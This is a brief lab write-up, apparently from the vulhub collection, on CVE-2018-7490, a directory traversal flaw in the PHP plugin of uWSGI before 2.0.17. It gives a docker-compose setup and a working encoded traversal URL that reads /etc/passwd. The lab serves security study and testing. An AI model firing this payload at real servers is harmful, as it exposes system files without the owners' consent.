uWSGI PHP Directory Traversal Vulnerability (CVE-2018-7490)

中文版本(Chinese version)

uWSGI is a web application server, which implements protocols such as WSGI/uwsgi/http, and supports for various languages through plugins.

The PHP plugin of uWSGI before 2.0.17 doesn't handle the detection of DOCUMENT_ROOT correctly, resulting in reading or running files outside the DOCUMENT_ROOT through the use of ..%2f.

Environment Setup

Enter the following command:

docker-compose up -d

Visit http://your-ip:8080 and you'll see the phpinfo page as the uwsgi-php server running successfully.


Directly visit http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd, you will get the passwd file:

Copied From: vulhub/uwsgi/CVE-2018-7490